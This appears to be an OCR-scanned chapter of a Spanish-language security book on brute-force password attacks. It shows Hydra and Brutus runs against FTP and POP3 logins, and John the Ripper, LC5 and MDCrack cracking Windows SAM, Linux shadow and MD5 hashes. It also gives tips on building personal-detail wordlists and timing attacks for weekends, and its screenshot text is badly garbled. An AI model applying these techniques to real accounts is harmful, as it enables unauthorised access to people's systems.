[DATA] 20 tasks, 1 servers, 20 login tries (I:1/p:20), ~1 tries per task

[DATA] attacking service ftp on port 21

[STATUS] attack finished for .com (waiting for childs to finish)
[21][ftp] host: login: ctori password:

<finished>

t hydra .com ftp -1 ctori -P /root/Desktop/pass.txt -t 36
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-11-09 16:24:34

[DATA] 20 tasks, 1 servers, 20 login tries (1:1/p:20), ~1 tries per task

[DATA] attacking service ftp on port 21

[STATUS] attack finished for .com (waiting for childs to finish)
[21][ftp] host: login: ctori  password:

Hydra (http://www.thc.org) finished at 2007-11-09 16:24:35

Hydra. Aqui podemos ver como Hydra (ejecutado en una Shell y en su version
visual HydraGTK) encontrd el password desde una lista de palabras (Pass.txt).

Como segundo ejemplo, supongamos que deseamos chequear algunas cuentas de
usuario validas (comprobando usuario y password de cada una de ellas) en la orga-
nizacion objetivo (los datos de las cuentas fueron obtenidos mediante otras técni-
cas). Veamos como se veria esto en la aplicacion Brutus.

The CODEBREAKERS
Si les interesa la criptografia, un libro de lectura obligada es: The Codebreakers. The

Comprehensive History of Secret Communications from Ancient Times to the Internet. de
David Khan. ISBN: 0684831309. Casi 1200 paginas muy interesantes acerca del tema.
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% Brutus - AETZ - www. hoobie. net/brutus - (January 2000)

File Tools Help

Target ﬂpopB. oM. &r ” Stop | Clear

~Connection Elptu:n 1
Part Eonnechon "5 Timeout ”—]‘ 20 [T Use Frowy g ;“ ‘

m_e“ [~ Tyto slaj Ionn ted for |Unlimite »|  attempts

Authentication Options
Pass Mode |Combo List | Delimiter li X
Comba File @ E scritariohcombio. bt Browse
=/

Pozitive Authentication Results

T arget \| Type A\| Uzemame I| FPaszword \l ~
pop3. .cam.ar POP3 eteraom] —
pop3. oM. ar POFP3 O qdexop3

nnn3 rnm Ar PR3 irin b

Located and installed 1 authentication plug-ins
Initializing...

Fesolved pop3. .corm.ar to

Target pop3. _com.ar verified

Opened pazsword file containing 65534 Passwords.

b asimum number of authentication attempts will be 65534
Engaging target pop3. .com.ar with POP3

Pazitive authentication at pop3. .o, ar with Uzer : Pazsword : eteraorm [17 atternpts)
Pasitive authentication at pop3. _com.ar with User : Password : qgdexop3 (129 attempts)
Pozitive authentication at pop3. = Password : zirinu (163 attempts)

Pogitive authentication at po d : sachopeikal137

=

authentication at popd. _com,ar with User :

0% | ~, ck
z e Deprone 1) > artermpbe nev carond |Fetimared 150127 remaining

1- Objetivo, ya sea direcciéon IP o dominio.

2- Protocolo (POP3).

3- Definir servidor proxy.

4- Tiempos de espera de respuesta.

5- Modo de formato de login en la lista de palabras (en este caso, configurado
en modo combo usuario:password).

6- Muestra los accesos validos en el sistema.

7- Muestra cuantos intentos hubo para dar con cada acceso valido.

8- Muestra el tiempo estimado para terminar la tarea.

9- Muestra los intentos en tiempo real.

10- Resuelve el dominio a IP.

11- Conexiones simultaneas de autentificacion.

12- Puerto.
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Fuerza bruta aplicada a cifrados

Para esto, utilizaremos la herramienta John the Ripper (www.openwall.com-
/john/), el conocido LC5 (antiguamente de @stake y ahora de Symantec) y MD-
crack, todas corriendo sobre Windows. Para saber coémo utilizar la primera, pode-
mos ver el contenido de la carpeta doc de la instalacion. Antes detallaremos basi-
camente tres elementos por descifrar con estas aplicaciones:

* SAM: proviene de plataformas Windows y se encuentra en el directorio
C:\WINDOWS\system32\config. Contiene, entre otras cosas, las cuentas de
usuarios con los passwords cifrados NTLM hash y LM hash.

Un hash del archivo SAM luce ast:
Administrador:500:5ACIFFFB9464FFA6B9136263703A79E8:9E65AAFFOC32-
CD068C624B442A07E369D:::.

e Shadow: se encuentra en sistemas operativos como Linux, Solaris o Unix, y alli
residen las cuentas de usuarios y sus passwords cifrados (basados, por lo general,
en algoritmo DES, SHA-1 o MD5). Se ubica usualmente en /etc/shadow y luce
de esta manera: lucio:/807907AjGrGw:11370:0:99999:7::: o
homero:$1$9XSaYyhK$ZtVQCiSRf1mjgl.vlCksZw0:12488:0:99999:7:::.

C:AWINDOWS\system32\cmd. exe

C:xjohn>john—386 users.txt
Loaded 371 password hashes with 248 different zalts (Traditional DES [24-32 4K1>

>

turd
st2

>

>

>

»A@>
tourcul
c)

medl

iicoco?

da>

turd

aled

n

omer)

fhau)

ka2

escaribe’

medi)

rclubs?

rinad
quesses: 126 time: @:@808:01:26 B2 (2> crss: 466899 trying: 18192113 - 18192515
Session aborted

C=~john g

John. En 1 minuto y 26 segundos, con su algoritmo y el listado de palabras, descubri6 el
password de 126 cuentas. La primera fila es la de passwords en texto plano y la fila de la
derecha (editada) son los usuarios.
¢ String md>5: Es el almacenamiento en database de una contrasefia como las de
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administracion y usuarios de un foro o del cifrado online de determinadas con-

trasefias que se utilizan en los Webmails como Yahoo y Hotmail.
Luce de esta manera: a43dbaf5d2ea4ad642cb7t564260d905.

Como tercer ejemplo, descifraremos las cuentas extraidas del archivo sha-
dow Linux.

Los passwords deben estar en un archivo en texto plano, tipo lista, guardados con
el nombre password.Ist. Ingresando >john users.txt, el programa primero utiliza-
ra su algoritmo para descubrir los usuarios que tienen el mismo pass que 1D, lue-
go hara un intento hibrido y después utilizara las palabras que estan en el pass-
word.Ist una por una y combinandolas. Por dltimo, realiza fuerza bruta generando
palabras al azar para ver cudl coincide. Si se desea utilizar otro diccionario, hay que
utilizar la sintaxis >john —wordlist=diccionario.lst users.txt.

En nuestro cuarto ejemplo, descifraremos las cuentas extraidas de un archivo SAM
de Windows. LLC5 es una buena alternativa si no se dispone de lo necesario para
utilizar toda la capacidad de herramientas como Ophcrack, Rainbowcrack o
Cain & Abel, basadas en la recuperacion de passwords a través de tablas rainbow
(mas adelante veremos en detalle esta técnica con un claro ejemplo).

Estas ultimas precisan tablas precomputadas que pesan varios GB, muy utiles en el
caso de necesitar descifrar passwords fuertes en poco tiempo.

Report \ Dictionary Crack
| User Name LMPd | |V Enabled

Dictionary/Brute Hybrid Crack

Dictionary List
I” Crack NTLM Passwords

The Dictionary Crack tests for passwords that are the same as the words listed in the
word file. This test is very fast and finds the weakest passwords.

| NTLM Hash

_hashes|
the word s I _time_el
finds we: Buscar en: | O dics j & cf E- Dd&l;lh

et
Precom) ]

[ passworde =
v En:

—curreny
The Pre:
afleorgf |l g
set as th '

Brute Fol total
vV E — - audited
™ Nombre: Ichclonano Abrir |
Langua
m Tipo: IDictinnaly Files [*.dic) LI Cancelar
panisl m

Words. Seleccion de un diccionario de palabras en LC5

en la fase de configuracién para proceder a recuperar passwords

obtenidos desde hashes dumpeadas desde el archivo SAM de Windows XP.
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Aunque no iguala el rendimiento que logran aquellas herramientas que utilizan rain-
bow tables, LC5 es bastante eficaz en cuanto a comprobacion, en especial desde dic-
cionatios de palabras. Se descarga de www.secutitylab.ru/_tools/Ic5setup.exe vy, pa-
ra conocer y aprender mas sobre la forma de utilizatlo, basta con it al mena Help/
Documentation. Como recomendaciéon adicional, cabe mencionar que conviene
eliminar los hash que no deseamos desencriptar como guest, los vacios y otros, pa-
ra asi bajar considerablemente el tiempo de computo.

P&@@&@»nn@@
t \ DICTIONARY/HYBRID

[ User Name [ LM Password [ <8 [ Password [ LM Hash [ WTLM Hash __MQLE%E%%%%%
Adrinistrador * empty * x  *missing * 0000000000000000000f | words_done
Asistente de ayuda 37BBEAFES4494D12151FC1AT4CEIFASE E02861D264FCAB1B1] 624[1"23 gz
eMule_Secure 22777720LR ACEBE1CSCS60363F656CB298DE3ECTAD 782E36CEDAGOESDBEBY || ————~—FE 50
Invitado * empty * X * missing * 0000000000000000000 _

o PRECOMPUTED
SUPPORT_388945a0 * missing * 00000000000000000000000000000000 6C52A97523180E74F4H
usuariol PEFITO X pepito 7180CED3DBOIECACAADIBIISES1404EE aci0epessaapsetFoz] || ——H2sh-tables
usuario? LAURITA X laurita 2CFOB7874356F 2EARAD3B435B51404EE A34 038444 || _hashes_found
usuario3 BOURBON2323 bourbon2323 7688BB6AE63SDIICIED23AIT1632FDBS 081D0E1AF0600420C09 DEGERD

* missing * 00000000000000000000000000000000 BFDCB22002C4221F904

18:40.46 Audtt started " User Info
18:40:57 Cracked second half of LM password for \usuario3 with Dictionary crack. Dictionary
18:41:35 Cracked first half of LM password for \usuario3 with Dictionary crack. gz’:::npuled
18:41:35 Cracked NTLM password for \usuario3 with Dictionary crack. Brute Force
18:43:19 Cracked first half of LM password for \usuario2 with Dictionary crack.

18:43:19 Cracked NTLM password for \usuario2 with Dictionary crack. Stake

18:43:53 Cracked second half of LM password for \eMule_Secure with Dictionary crack.
18:43:58 Cracked first half of LM password for \usuario1 with Dictionary crack.

LCS5. Aqui vemos a LC5 recuperando contrasefas
desde los hashes. En esta pantalla, se observan algunas
cuentas con sus respectivos passwords logrados en apenas minutos.

Hashes dumpeadas

Hashes dumpeadas es un modismo (slang] del término inglés dump que significa vol-
car las cuentas (extraer) cifradas de sistema del archivo SAM desde un sistema Win-
dows, ya sea a través de Pwdump, Fgdump (http://swamp.foofus.net/fizzgig/fgdump/)
o herramienta similar.
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El quinto ejemplo que veremos consiste en descifrar una cuenta de usuario admi-
nistrador de foro que se encuentra cifrada en md5. En el caso de que hayamos da-
do con una clave de este tipo (por SQL injection en un foro o mediante la captura
de trafico con un sniffer), procederemos a utilizar MDCrack para descifrarlo.

AAWINDOWS\system32\cmd.exe

C:\>MDCrack—sse ——charset B123456789 46989Be537h%6e7eB7e3196h4%a9£299

System ~ Starting MDCrack vl _B(3)

System ~ Running as MDCrack-sse ——charset 8123456789 469898e537h%6e7eB87e3196h4%a
2£299
System
System
Bystem
System
Info
System

Y

Filtering custom charset... done
Charset is: B123456789

Detected processoris): 1 x INTEL Pentium IU { MME | S5E | SSE2
Detected hash format: MDS

Other possible matche<s>: MD2, MD4. PHP. HMD4MD4,. HDSMDS

Target hash: 4698%98e537h?6e7e87e3196bh42a%9£299

»» Using MD5 cores: maximal candidatesuser salt size: 1654 hytes
Prezs ESC for available runtime shortcuts (Ctrl-c to guit)

Thread #8: >> Using Core 1

Thread : Candidate size: user salt:
Thread : Candidate size: user
Thread : Candidate r‘1"*13- user
Thread : Candidate user
Thread : Candidate user
Thread : Candidate user
Thread H Candldate user
Thread

Thread user

s
s
s
s
s
s
Y
~
~
-
s
s
s
s
s
s
s

H IEEEEREE
NN N N

# Thread #8 (Success)

Thread : Collision found: 19871987
Thread : CandidatesHash pairs tested: 90 829 @82 ( ?.88e+807 > in 12s

Thread #8: Allocated key space: 1.11e+B16 candidates. B8.88x done
Thread : Average speed: ™ 7 473 225 ( 7.47e+@86 > hrss

W ONN

Mdcrack. Aqui se descifra el hash 469098e537b96e7e87e3196b49a9f299
perteneciente al usuario administrador de un foro, con un charset
(juego de caracteres) 0123456789, tardando tan s6lo 12 segundos.

MDCrack se descarga de http://membres.lycos.fr/mdcrack/ y podemos cono-
cer detalles sobre su uso leyendo el FAQ dentro del archivo. Los algoritmos que
puede descifrar esta herramienta son los siguientes:

Guardar sesiones

Es recomendable guardar las sesiones para luego estudiarlas y, por otro lado, para
que no se nos pierda nada del output de los comandos en consola (en un dumpeo por
ejemplo o al ver el contenido de un archivo). Promptpal (www. promptpal.com] y Se-
cureCRT poseen logueo de sesion y algunas otras utilidades interesantes.
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Rsa MD2 MD4 MD5

Rfc 2104 HMAC-MD4 HMAC-MD5
FreeBSD MD5

¢ Apache MD5

* Microsoft NTLM1
* Cisco PIX Enable/User

e Cisco 10S

* Invision Power Board 2.x

* IEEE CRC32 CRC32-B

e Mark Adler ADLER32

* Generic MD4MD4: MD4(MD4(pass))

* Generic MD4MDA4S: MD4(MD4(pass).salt)
e Generic PHP: MD5(hex(MD5(pass)))

¢ Generic PHPS: MD5(hex(MD5(pass)).salt)

Home

FAQ

Login

AddHashes

Search

Statistics

View AllHashes
View Rainbow Tables
Plain-Shell

Im:0/2in 5 min
md5:0/2in1 min

ntlm: 1/2in 15 min

doublemd5:0/2in 1
min

Home

About us:

This website is an advanced distributed cracking system powered by rainbowtables, wordlists and other
technigues.

At this moment, we have 12/34 computers online and working to crack hashes using 0.7314453125 Tb
rainbowtables.

Rainbow tables implementation base is taken from open source tool which is located at www.antsight.com/zs|
/rainbowcrack/

We provide free limited usage of our system but it is strongly adivised that you read our F4Q.

For more up to date information, contact us on irc. Our channel is located at irc.Plain-Text.info #rainbowcrack

News & Updates:

Come join us on irc, our bot C3P0 can crack mdS hashes in under a second.

If there is no result from C3P0 in under 3 seconds the hash was not cracked.

C3P0 also cracks Im hashes every 30 minutes, no queues...

If you have big lists of MD5 hashes to crack, contact legion or RandomCode in IRC
they will crack them for you .

Join any of the servers below, all servers are linked into one #rainbowcrack

Texto-plano. www.plain-text.info es un sitio en donde

se descifran passwords mediante un mecanismo distribuido,

empleando rainbow tables. El visitante puede adosar un hash y luego
ver su resultado. Comprende los cifrados lm, md5, ntlm y doble md5.

MD5

Para encontrar Crack string MD5 online, podemos visitar alguna de las siguientes di-
recciones: www.tmto.org (suele estar temporalmente offline, pero es la mejor que
existe], http://gdataonline.com/seekhash.php, http://md5.thekaine.de o www-
.milworm.com/cracker/insert.php.
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FB aplicada en archivos Office con clave

Como sexto ejemplo, recuperaremos el password de un archivo con extension del
paquete Office o un archivo comprimido. Es normal que en ofimatica (relaciona-
do a informatica de oficina) se utilicen passwords en archivos de Excel, Word, Ac-
cess, Zip y Rar para proteger su contenido.

24 | [ | http:ffwww.rixler.comfengfword_password_recovery.htm DR [C]'

PRODUCTS DOWHNLOAD PURCHASE LINKS [ HELP | HNEWS

) Password recovery for: S
Products > MS Office Password Recovery Software > [ — Micrascit\Word “'T |>>\

Word Password Recovery Master

Word Password Recovery Master is used to crack password-protected documents created in MS
@ Word 97/2000/XP/2003/2007 (*.doc, *.dot, *.docx files). The program allows you to crack “open”,
n “protection” and "write" passwords.

‘ @ “purcHase ©  “pownLoap

Crack word password at seconds!

So far users had to use a combination of various attack types (brute-force, dictionary attack, brute-force with mask,
Xiew attack) to recover MS Word passwords. And there was a possibility that the password would not be found even
after searching for many hours. If all the above mentioned methods fail, you can use a guaranteed attack of course. But
it takes about ten days even on modem Pentium 4 computers, which is unacceptable for a regular user.

The situation has dramatically improved for forgetful users since the release of Word Password Recovery Master. Now
you can get access to your document within several seconds! Though the program does not actually recover
passwords, it allows you to disable the entire protection for the document. No matter how long the password is, the
utility will crack even the strongest password!

Rixler. En el sitio web de la empresa Rixler
(www.rixler.com) podemos encontrar una aplicacion
lamada Word Password Recovery Master que, instantaneamente, puede
descifrar el password de un documento Word (ya sea de write, open o protection).

A este tipo de documentos, se los suele encontrar en las intranets o terminales de
las organizaciones, y la auditoria de este tipo de passwords suele tomar poco tiem-

Criptografia Asimétrica
La criptografia asimétrica es el método criptografico que utiliza PGP, se basa en dos

llaves, una publica y otra privada. La primera puede darse a cualquiera mientras la otra
debe ser mantenida en cuidado por el dueno.
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po, debido a lo débil de su eleccion por parte del oficinista o ejecutivo. La herra-
mienta para esto es Passware Kit, y se puede descargar de www.lostpassword-
.com/kit.htm. Para comprender su uso, hay que leer el Passware kit Help de la ins-
talacion.

1. Office Key - Password Recovery for MS Office

ile  Edit Help

Z .98 @ O

Recover Online  Support  Settings  Stop

Recovering pazsword for the file:
C:ADocuments and Settings' EzcritorictREGISTRO. mdb

Detected Access 2000 database
File pazsword: [monse] (no brackets] <Copy:

Loading database. ..
There are no pazsword-protected WBA modules in thiz file.

Settings |Z_|
General  Dictionary ]Xieve optimization] Brute-forcel Symbol set]
™ Enable dictionary attack
g Fiun for pazswaords fram [1 to |'|5 characters lang.
eady A
"
Dictionary file:
IDiccionario.txt Browse... |
rutations

v Capitalize the first letter
v Capitalize all word letters
[~ Capitalize any letter in the ward | no mistypes (fast] ﬂ
I~ Reverse the word

Miztypes

Get More Dictionaries. .. | Estimate. .. | Use default settings |

Aceptar | Cancelar I Apuda |

Access. Esta herramienta recupera casi
instantaneamente el password de un fichero .mdb
(database Access). Aqui vemos una de las pantallas de configuracion.

FB aplicada a la interfaz grafica

Nuestro séptimo ejemplo consiste en descubrir el password de un servidor VNC a
través de la interfaz grafica de su cliente. En Internet se puede encontrar un sim-
ple script programado en VBScript, que demuestra como es posible, mediante una
aplicacion visual (cliente), realizar brute force hacia el servidor, de manera local y,
en este caso, con incidencia en el server remoto.

El script en principio funcionaba con una versién anterior y en inglés de Radmin,
un administrador remoto (www.sensepost.com/videostatic/vbs/vbs.html), pero
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como es dificil conseguir la versiéon necesaria para testearlo, a continuacioén ve-
remos el script modificado para que sirva con la tltima version gratuita de VNC
en espafiol (VNC Free Edition for Windows Version 4.1.2, que podemos
encontrar en www.realvnc.com/ cgi-bin/download.cgi).

Criptografia de Curva Eliptica




Uso de este script: si deseamos testearlo, podemos escribir este codigo tal cual es-
ta en un editor de texto (Notepad o Wordpad, por ejemplo) y guardatlo como
vnc.vbs. En el mismo lugar en donde esta ese archivo, debemos tener guardado

Lista de correo




el archivo palabras.txt con la lista de passwords que deseamos probar en el servi-
dor VNC. Previamente hay que instalar VNC Viewer, reemplazar la IP del codigo
por la IP del server VNC remoto y, por ultimo, ejecutar el script haciendo click so-
bre ¢él. Les cuento que, en caso de acceder a un recurso remoto con este cliente, la
IP de esa sesion quedara grabada en la siguiente clave de registro: HKEY_CU-
RRENT_USER\Software\RealVNC\VNCViewer4\MRU. (Gracias a Haroon
Meer y Charl van der Walt -SensePost Information Security- por su gentileza).

FACTORES QUE INCIDEN EN EL TIEMPO

Al utilizar aplicaciones de terceros o scripts programados por uno que intenta des-
cifrar o acertar passwords, existe una serie de factores que pueden llevar a que és-
tos tarden demasiado tiempo o muy poco en lograr el objetivo.

El tiempo es muy valioso en la seguridad informatica, y una desconsideracion que
tenga incidencia en éste puede hacer que un atacante real, en lugar de tardar 2300
afios en acertar un password mediante fuerza bruta o deduccion analitica, lo haga
en un pufiado de horas o en apenas minutos.

Por la gran importancia de esto, entonces, en las proximas paginas conoceremos
las diez principales variables que inciden en el tiempo de lograr un resultado satis-
factorio o el mas conveniente.

1. La clave por descifrar es fuerte o lo es su cifrado, debido a la complejidad que
dara el numero de caracteres y la combinacion o entropia (término de la fisica que
significa desorden) de éstos, ya sean letras, numeros, mayusculas, caracteres espe-
ciales y distintos simbolos. Una clave como ésta complica demasiado la técnica de
brute force. Antes de gastar dias, meses o afios, es posible que se tarde menos en
blanquear ese password, sniffearlo, lograr un usuario de un mismo nivel de privi-
legio en el sistema o hacer llegar ese login (reestablecido) hacia una casilla de e-
mail.

2. Charset elegido: El charset es un juego de caracteres (character set) que pue-
de ser 0123456789, abcdefghijkl...z o mayusculas; existe también el charset de

Momentos de ataque

El momento en el que los servidores mas reciben Brute Force de modo remoto es el fin
de semana. ;Por qué? Por un lado, el intruso del tipo script kiddie esta libre porque no
tiene clasesy, por otro lado, el intruso experimentado sabe que el administrador, en la
mayoria de las empresas chicas y medianas, vuelve recién el lunes por la manana.
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caracteres especiales. El charset ligado al trabajo de brute force puede ser uno
de estos rangos, la combinacién de ellos, su totalidad o sélo algunos caracteres se
leccionados. Si se ataca un password cifrado de s6lo nimeros con un charset de
muchos caracteres, la combinaciéon de éstos sera muchisimo mas elevada que si se
elige sélo el charset de nimeros. Otro motivo por el que debemos conocer el sis
tema es que, por ejemplo, si la aplicacion aclara en su sitio introduzca su clave de
4 digitos, ¢para qué darle brute force a su password cifrado (en caso de que lo ha
yamos obtenido) o servicio con un charset completo? Con sélo intentar el charset
de numeros, en pocos segundos lo descifrara.

¢ e http: f v, juque. clfweblogf2006/01/25/ascii-unicode-utfF8-y-la-iatarnaaianalizaaian-parte-i. html M S ‘G‘ ~

Portada Weblog Recursos Acerca Contacto

ASCII, Unicode, UTF-8 y la
Iitérnagionalizaecion - parte I
Publicado por Juan Pablo el 25.Ene.2006 | Comentarios (23)

Hace meses que llevo coleccionando enlaces sobre Unicode y UTF-8; dado que en espafiol hay
’\\ muy poca informacion me he decidido a publicar mis notas, ordenadas de tal forma que puedan
ser digeribles para cualquier persona interesada en el tema. Pero debo hacer una advertencia:
habran pasajes donde nos sumergiremos en las mas profundas aguas informaticas, asi que no
305A olvides traer un tanque de oxigeno para soportarlo.

A modo de prologo definiremos algunos conceptos, viajaremos en el tiempo, estableceremos
problemas y finalmente llegaremos a la genialidad aquella llamada UTF-8, aunque también haremos algunas
paradas en codigos y ejemplos para logran una mejor compresion de los conceptos, no hay duda inos
divertiremos como locos!.

Caracteres. Sitio de Juan Aqueveque, con interesantes notas acerca de los
caracteres y estandares relacionados que utilizamos a diario. www.juque.cl/
weblog/2006/01/25/ascii-unicode-utf8-y-la-iatarnaaianalizaaian-parte-i.html.

Cédigo ajeno

Recordemos que siempre es conveniente leer cddigo ajeno, analizar sobre por qué se escribid
asi e interpretarlo. También es bueno portarlo a otras cosas y a otros lenguajes y, en lo posi-
ble, depurarlo o mejorarlo. Colaborar en proyectos Open Source es bueno, ya que de ese mo-
do se aprende mucho en poco tiempo. No dudemos en pedir ayuda a otros.
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3. Utilizacién de diccionarios de palabras: El empleo de éstos contra archivos
de cuentas cifradas a través de un diccionario de palabras predefinidas da muy
buenos resultados, especialmente si el diccionario esta confeccionado de mane-
ra inteligente. Veamos las clases de palabras que deberfa tener, con ejemplos de
passwords entre paréntesis.

¢ Todas las palabras del diccionario espafiol e inglés.

* Numeros del cero hasta N.

* Passwords por defecto (admin).

* Passwords comunmente utilizados (qwerty, 123450).

* Nombres (romina, leonel) y diminutivos (rominita).

e Palabras del slang o lunfardo regional (copado, chabén).

* Oficios y trabajos (arquitecta, ingeniera, gerente, operadores).

* Fechas en formato ddmmaaaa o ddmmaa (desde el afio 1900 a hoy, por cum-
pleafios y aniversarios).

* Passwords extraidos de otras bases de datos.

La aplicacion que sea la encargada de la comprobacion generara un hash de ca-
da una de las palabras y la comparara con la existente por descifrar. Si coinci-
de, la dara como matcheada (coincidencia) y la reportara como un resultado va-
lido. Este método no es utilizado en aquellas que ya tengan tablas precomputa-
das, como Ophcrack.

4. Técnica de brute force en modo hibrido: Es similar a la utilizacion del dic-
cionario, pero combinando cada palabra con algunos caracteres al final o delan-
te de cada una de esas palabras alli contenidas. Por ejemplo, en el diccionario es-
ta la palabra marciano, entonces el script o programa intentara: marciano6, mar-
ciano7, marciano8, etcétera. LLos caracteres que pone al final de cada palabra es-
taran definidos por nosotros en su configuracion, cantidad y tipo de charset.
También se pueden unir dos palabras de un mismo diccionario, como por ejem-
plo, marcianoamarillo, marcianoverde, marcianolila, marcianoblanco, etcétera.

Login online

En las paginas con login, algunas aplicaciones devuelven un mensaje de error del tipo
Usuario inexistente. Eso invita a descubrir usuarios del sistema, ya que cuando acer-
temos un usuario que existe no recibiremos ese aviso y conoceremos asi su existencia.
Es un grave error, y es mejor implementar el mensaje: Combinacion incorrecta.
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5. Brute force segun patrén, passwords generados a mano segun objetivo:
Esta técnica, combinada con los datos extraidos mediante information gathering
e ingenierfa social, suelen dar frutos rapido. Se basa pura y exclusivamente en de-
linear una serie de palabras o de passwords sobre la base del conocimiento pre-
vio que tenemos de la organizacion u objetivo. A los tipos de passwords nom-
brados para agregar en los diccionarios, tendriamos que adicionarles las siguien-
tes:

* Nimero de DNI (00000000).

* Equipo de deporte favorito (riverplate, boca, pumas, leonas).

* Bandas de musica favoritas (sodastereo, divididos, miranda).

e Titulos de libros favoritos (zaratustra, yoclaudio, elalquimista).

* Letras de libros o segmentos (invisiblealosojos).

e Titulos de canciones (blackbird, michelle, teparatres).

* Letras de canciones o segmentos.

* Nombres propios, de parientes o seres queridos: padres, hermanos, abuelo,
abuela, bisabuelos, esposas, amantes, parejas, hijo, sobrinos, novias, ahijados y
nietos (jorge, martin, hugo, elvira, apolonio, susana, lorena, maria, gustavo, lu-
cas, natalia, jezabel, jeremias) apodos de éstos también: (negra, mona, tato, pu-
chi, loli, chatly, titina, pupi, tito, pipi, manguera, pepe, pipo, pichi, colo).

* Nombre de mascotas (tobby, atila, chunchuna, mora, negrita).

* Nombres de bartios.

* Numero de asociado a alguna entidad.

* Numeros de la suerte.

e Nombre del ISP, organizacion, instituciéon o universidad, del objetivo.

* Cosas relacionadas con sus estudios, hobby o trabajo.

« Idolos favoritos musicales, reales, ficticios o histéricos (lennon, messi, poke-
mon, napoleon).

* Todo aquel otro gusto o preferencia que se le conozca a la persona, como
marcas de ropa, de auto, de perfume, etcétera.

* Todos los anteriores seguidos de numeros en modo hibrido.

* Passwords histéricos de éste o los que utilice en otro lugar.

Maquina

¢Qué hariamos si tuviésemos una maquina exclusivamente para romper cifrados que
probara 90 mil millones de keys DES por segundo? Con semejante cantidad, se podria
descifrar cualquier /etc/shadow completo en menos de cinco dias. Podemos leer infor-
macién sobre esto en www. cryptography.com/resources/whitepapers/DES-photos.html.
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0. Intentar probar usuarios y passwords, ambos por azar y de manera remo-
ta a servicios de autentificacion: esto es una total pérdida de tiempo y es el mé-
todo que mas engorda logs de servidores (archivos de registros que contienen los
intentos fallidos contra el servidor) cuando no se tiene nocién de la técnica BF y
se trata de aplicar a servicios online. Las combinaciones de esta clase son infini-
tas e inutiles.

Hay dos casos, pero ya no son de user y pass al azar, que es cuando dispone-
mos de un objetivo en determinado rango que, posiblemente, contenga usua-
rios y passwords por defecto de fabrica o bien si nos disponemos a comprobar
en una base de datos cuales combinaciones son aun validas en determinado ser-
vidor, de modo que se probaria en este formato:

* userl:supasswordhistorico

¢ user2:supasswordhistorico

¢ user3:supasswordhistorico

Es decir, cada usuario con su respectivo password que en algin momento fue
valido o ain lo es. La forma logica de utilizar brute force de manera remota es
conociendo al usuario de sistema (viendo de antemano el archivo /etc/passwd
a través de un error de programacion de la pagina o a través de Google como
usuario de correo, al dejar su e-mail escrito por alli; por dar dos ejemplos sim-

ples).

Default Password List

2008-03-14

7000 Telnet
Aulty admin
2500 Telnet tech
Multi fa (none)
7000 Telnet tech

Default. Es muy atil buscar listas actualizadas de claves por defecto.
www.phenoelit-us.org/dpl/dpl.html

7. Ancho de banda: Existe una gran diferencia entre hacer brute force sobre un

Fuerza bruta

Fuerza bruta no es la mejor técnica, pero a veces es necesaria. Utilizada de manera l6gi-
ca, puede llegar a ahorrar mucho tiempo. No debemos esperar resultados frente al moni-
tor, es mejor dedicar una maquina a ello y usar otra terminal, o dejarla trabajando cuando
estamos fuera o durmiendo. Asi, la PC estara con todo el poder del micro dedicado a ello.
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servicio online conectado desde de un teléfono (dial up) y en hacerlo desde una
shell que posee la velocidad de un cafio de varios megas de transferencia por
segundo. Por eso, un intruso (malicious people como las cataloga Secunia en
su Weekly Summary) suele hacerlo desde una shell o servidor muy potente que
cuenta con gran velocidad para la transmision de datos.

8. El microprocesador en la técnica de fuerza bruta: La importancia del mi-
cro es fundamental por su potencia debido a la cantidad de calculos por segun-
do que éste sera capaz de realizar. Una tabla muy interesante sobre este tipo de
procesamiento existe en la pagina de MDCrack. Por ejemplo, una maquina con
Windows XP Pro y micro 2x XEON 3.2GHz (DC + HT) realiza 42.299.451
comprobaciones por segundo para descifrar un hash md5, contra las 5.080.455
que hace una maquina con Windows XP y un micro Athlon 1.53 Ghz.

9. La herramienta utilizada en si: Su algoritmo y funcionamiento (no comparar
LC5 con Ophcrack, por dar un ejemplo), el manejo de sockets, los tiempos de
respuesta, entre otras tantas cosas. La programacion por parte del pentester, en el
caso de escribir un script y utilizarlo localmente. Es muy posible que, para sacar-
se una duda lo haya escrito rapido, sin elegancia o el mejor pulido cédigo de pro-
gramacion.

10. La falta de entendimiento o de comprensién por parte del ejecutor: Pa-
ra emplear esta técnica hay que saber donde, cémo, con qué y durante cuan-
to tiempo hacerlo. Hay que tener en cuenta las probabilidades, los factores,
conocer caracteristicas del objetivo y tener algunos conocimientos técnicos
previos y la diferencia entre tipos de hashes, cifrados y archivos (mas adelan-
te veremos como extraerlos), entre otros. Hay que tener bien en claro los em-
pleos y la orientacién de la FB.

Rainbow Tables

Las tablas Rainbow son tablas binarias pregeneradas para ser utilizadas por progra-
mas que, bajo una forma especifica del concepto Time-Memory Trade-Off ligado
al criptanalisis, son empleadas para encontrar passwords con una alta performan-

Informacién adicional

En esta obra no encontraremos detalles de algoritmos de cifrado (debilidades puntua-
les de éstos), de programacion de bajo nivel (avanzada), de teorias cuanticas ni histo-
ria o matematica pura. Para ello, es recomendable visitar el excelente sitio www.crip-
tored.upm.es o los foros de www.kriptopolis.org.
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ce. Muchas veces lo hacen mas rapido que un generador normal brute force tipo
LC5, aunque se tarda bastante en generar estas tablas previamente. Ademas, sue-
len ser muchos gigas, dependendiendo del charset elegido.

El concepto lo mejord Philippe Oechslin, ya que existe desde hace mas de 20 afios
gracias a Martin Hellman, y lo describe en detalle en el articulo publicado en
lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf. En https://www.isc2.org/cgi-bin/
content.cgi’page=738 detalla las rainbow tables y en www.objectif-securite.ch/re
search/websec06.pdf, las ecuaciones del algoritmo.
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About Decryptum | Try | Buy

) Decryptum’

Easy online password
recovery

Instant decryption - works in
seconds, regardless of file
password

Free preview

Secure service - all file

Lost password for -

submissions are encrypted
MS Word,/Excel d'ocument?.. by S5 protocol
Decrypt It. No software to download -

service is web-only

How to proceed? News
Try it now and upload Wo word protected
file using secure SSL protocol, Decryptum will show a
short online preview of the decrypted file content. If you
need the whole file unprotected, purchase decryption

What is Decryptum?

Decryptum'™ is the first instant online MS Excel and MS
‘Word password recovery and removal service.
Decryption time is a few seconds, regardless of
password length: you don't have to wait for days for the

19/Marf2008 Passware Kit 8.3 -
instantly decrypts financial
databases of Intuit Quicken and
QuickBooks.

file to be unprotected (all other services offer 2 to 14
days turnaround time). You don't have to download and
install any software or spend your CPU time running a

credits and download the recovered file. It typically takes
just a few minutes to restore your data. See About
Decryptum for a complete list of features and limitations

04/5epf2007 Passware Kit 8.1 -
